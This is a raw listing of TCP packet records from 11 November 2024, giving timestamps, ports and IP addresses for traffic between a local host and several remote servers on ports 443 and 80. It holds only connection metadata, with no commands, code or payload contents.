Nov 11, 2024 19:52:06.381354094 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.385288000 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.385349035 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.406287909 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406390905 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406440973 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406560898 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.406574965 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406620026 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.406641960 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406708956 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406790972 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406836033 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.406842947 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.406882048 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.407382011 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.407461882 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.407948971 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.407984972 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.407987118 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.407998085 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.408026934 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.411366940 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.412367105 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.412374973 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.414982080 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.416208982 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.416217089 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.417119980 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.419142008 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.419197083 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.419202089 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.419210911 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.419245958 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.421659946 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.423521996 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.423567057 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.423580885 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.423589945 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.423613071 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.425731897 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.427717924 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.427756071 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.427782059 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.427791119 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.427803040 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.429773092 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.429848909 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.429857016 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.477790117 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.477807999 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.521363020 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.521467924 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.729033947 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.729049921 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:07.775954962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:07.776010990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:08.006494045 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.006522894 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.006571054 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.006930113 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.006941080 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.603226900 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.603462934 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.603486061 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.604506969 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.604579926 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.605520964 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.605581045 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.605665922 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.605674028 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.646555901 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.775652885 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.775707006 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.775734901 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.775748968 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.775758982 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.775799036 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.775906086 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.776249886 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.776294947 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.776302099 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.781575918 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.781641960 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.781647921 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.834486961 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.834501028 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.856801033 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.856875896 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.856877089 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.856887102 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.856930971 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.856935978 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.859116077 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.859143972 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.859168053 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.859178066 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.859235048 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.864837885 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.870712996 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.870734930 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.870769978 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.870776892 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.870836020 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.876538038 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.882467985 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.882524014 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.882538080 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.882544994 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.882596970 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.888551950 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.893872976 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.893944025 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.893950939 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.914163113 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.914242029 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.914248943 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.937910080 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.937953949 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.938007116 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.938015938 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.938066006 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.938071966 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.938306093 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.938339949 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.938349962 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.938355923 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.938402891 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.938462019 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.939225912 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.939271927 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.939277887 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.940045118 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.940080881 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.940093994 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.940099955 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.940140963 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.944432974 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.947622061 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.947685957 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.947693110 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.951751947 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.951818943 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.951822996 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.955915928 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.955985069 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.955988884 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.956002951 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.956052065 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.959840059 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.963876963 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.963948965 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.964060068 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.964066982 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.964118004 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.968060017 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.972898006 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.972951889 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.972959042 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.976191044 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.976264954 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.976269960 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.980158091 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.980210066 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.980216026 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.984200954 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.984251976 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.984253883 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.984263897 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.984304905 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.988292933 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.995176077 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.995213032 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.995238066 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.995245934 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:08.995291948 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:08.995876074 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:08.995902061 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:08.995974064 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:08.996195078 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:08.996208906 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:08.996611118 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.018578053 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.018634081 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.018642902 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.018723965 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.018775940 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.018780947 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.018785954 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.018827915 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.019252062 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.019433022 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.019462109 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.019479036 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.019488096 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.019541025 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.020086050 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.020241022 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.020282984 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.020288944 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.020298958 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.020334005 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.022861958 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.025396109 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.025433064 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.025454044 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.025460005 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.025506973 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.027616024 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.070188046 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.070204020 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.070405006 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.070450068 CET	443	49719	142.250.185.78	192.168.2.5
Nov 11, 2024 19:52:09.070504904 CET	49719	443	192.168.2.5	142.250.185.78
Nov 11, 2024 19:52:09.576790094 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:09.576816082 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:09.576903105 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:09.578560114 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:09.578571081 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:09.589612961 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.589867115 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.589883089 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.590224981 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.590322971 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.590828896 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.590898037 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.591865063 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.591931105 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.592040062 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.592047930 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.592065096 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.635339022 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.646352053 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.794876099 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.849667072 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.849684954 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.850999117 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:09.851038933 CET	443	49722	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:09.851099968 CET	49722	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:10.161742926 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.161994934 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.165698051 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.165703058 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.165934086 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.204643011 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.247339010 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.363552094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:10.363861084 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:10.368616104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:10.368696928 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:10.368808985 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:10.368973017 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:10.368994951 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:10.371247053 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.371299028 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.371341944 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.371440887 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.371450901 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.371468067 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.371473074 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.373799086 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:10.373897076 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:10.402360916 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.402380943 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.402448893 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.402765036 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:10.402776957 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:10.875336885 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:10.875349045 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:10.875428915 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:10.875782013 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:10.875792027 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.020762920 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.020827055 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:11.022448063 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:11.022452116 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.022670984 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.024657965 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:11.071321964 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.201499939 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.201562881 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.201642990 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:11.205931902 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:11.205943108 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.205952883 CET	49729	443	192.168.2.5	184.28.90.27
Nov 11, 2024 19:52:11.205959082 CET	443	49729	184.28.90.27	192.168.2.5
Nov 11, 2024 19:52:11.463901043 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.464401007 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.464411020 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.464788914 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.464934111 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.465501070 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.465601921 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.465842009 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.465842009 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.465852976 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.465888023 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.465909958 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.506129980 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.506138086 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.523766041 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:11.524434090 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:11.552988052 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.690609932 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.740653038 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.740664005 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.772046089 CET	443	49730	142.250.186.110	192.168.2.5
Nov 11, 2024 19:52:11.772212982 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:11.783597946 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:11.788434029 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:11.870803118 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:11.870889902 CET	49730	443	192.168.2.5	142.250.186.110
Nov 11, 2024 19:52:12.515573978 CET	80	49728	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:12.515664101 CET	49728	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:16.376733065 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:16.376773119 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:16.376919985 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:16.378403902 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:16.378417969 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:16.895874977 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:16.895946026 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:16.974123955 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:16.974148989 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:16.974219084 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:16.979377985 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:16.979412079 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:16.979481936 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:16.980734110 CET	49736	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:16.980755091 CET	443	49736	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.047508001 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.047532082 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.047804117 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.072331905 CET	49733	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:17.119335890 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.235537052 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:17.235585928 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:17.242513895 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.242542982 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.242562056 CET	443	49733	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:17.242594957 CET	49733	443	192.168.2.5	13.107.246.45
